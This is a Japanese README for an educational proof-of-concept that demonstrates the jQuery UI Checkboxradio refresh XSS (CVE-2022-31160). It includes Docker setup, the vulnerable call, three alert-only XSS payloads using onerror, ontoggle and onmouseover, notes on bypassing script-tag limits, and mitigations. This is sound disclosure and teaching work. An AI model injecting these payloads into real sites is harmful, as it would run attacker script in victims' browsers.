
jquery XSS Proof of Concept (PoC)
このプロジェクトは、jQuery UI Checkboxradio ウィジェットのリフレッシュ時の脆弱性(CVE-2022-31160)を実証します。この脆弱性により、ウィジェットのリフレッシュ操作中に HTML エンティティのデコードが行われ、クロスサイトスクリプティング(XSS)攻撃につながる可能性があります。
⚠️ このプロジェクトには、教育および研究目的のみの動作する XSS ペイロードが含まれています。
ラベル内の input に checkboxradio ウィジェットが初期化されると、そのウィジェットに対して .checkboxradio("refresh") を呼び出すと、ラベルコンテンツ内の HTML エンティティが誤ってデコードされます。これにより、安全にエンコードされた悪意のあるコンテンツが実行可能な JavaScript に変換される可能性があります。
<!-- 安全なエンコードコンテンツ -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- .checkboxradio("refresh") 実行後 -->
<label for="checkbox">
Text
<input type="checkbox" id="checkbox">
</label>
# プロジェクトディレクトリに移動
cd jquery-cve-2022-31160
# Docker イメージをビルド
docker build -t jquery-cve-2022-31160 .
# コンテナを実行
docker run -p 3000:3000 jquery-cve-2022-31160
コンテナが実行されたら、以下にアクセスします。
jquery-cve-2022-31160/
├── README.md # このドキュメント
├── Dockerfile # Docker コンテナ設定
├── package.json # Node.js 依存関係
├── server.js # Express.js サーバー
└── simplified-survey.html # 調査形式のデモ
simplified-survey.html)URL: http://localhost:3000/survey
機能:
<img src=x onerror="..."> - 即時実行<details ontoggle="..." open> - 即時実行<span onmouseover="..."> - インタラクティブ実行分析ツール:
.checkboxradio("refresh") が呼び出される// 脆弱な操作
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // 脆弱性をトリガー
デモには、さまざまな XSS 実行方法をテストするための複数のペイロードが含まれています。
<!-- ネットワークセキュリティ: エラーイベント XSS(即時実行) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- モバイルセキュリティ: Details トグル XSS(即時実行) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- クラウドセキュリティ: インタラクティブ XSS(ユーザー操作が必要) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>
onerror)src=x で常に失敗)ontoggle)open 属性で確実にトリガー)onmouseover)イベントハンドラの利点:
innerHTML で要素が挿入されたときに実行<script> タグの制限をバイパスontoggle など)は信頼性が高いエンコーディングバイパス:
<、")が jQuery UI のリフレッシュによってデコードされるdocker build -t jquery-cve-2022-31160 .
# デフォルトポート 3000 で実行
docker run -p 3000:3000 jquery-cve-2022-31160
# カスタムポートで実行
docker run -p 8080:3000 jquery-cve-2022-31160
# バックグラウンドで実行
docker run -d -p 3000:3000 jquery-cve-2022-31160
# カスタム名で実行
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# 実行中のコンテナを一覧表示
docker ps
# コンテナを停止
docker stop jquery-cve-2022-31160
# コンテナを削除
docker rm jquery-cve-2022-31160
# イメージを削除
docker rmi jquery-cve-2022-31160
この脆弱性は、以下のようなアプリケーションで悪用される可能性があります。
.checkboxradio("refresh") 呼び出しを検索// リフレッシュ前にコンテンツをサニタイズまたは検証
function safeRefresh(element) {
// リフレッシュ前にラベルコンテンツを検証
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// 潜在的に危険なコンテンツをチェック
if (content.includes('<') || content.includes('javascript:')) {
console.warn('潜在的に危険なコンテンツが検出されました');
return;
}
element.checkboxradio("refresh");
}
// Express.js セキュリティヘッダー
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
このプロジェクトは、以下のための教育リソースとして役立ちます。
このデモを使用する際は、以下を確認してください。
貢献は歓迎します。以下を行ってください。
このソフトウェアは教育および研究目的のみで提供されます。著者および貢献者は以下を表明します。
このプロジェクトは教育目的で MIT ライセンスの下で提供されます。
セキュリティ研究と教育のために作成 | 責任を持って使用 | 脆弱性は適切なチャネルを通じて報告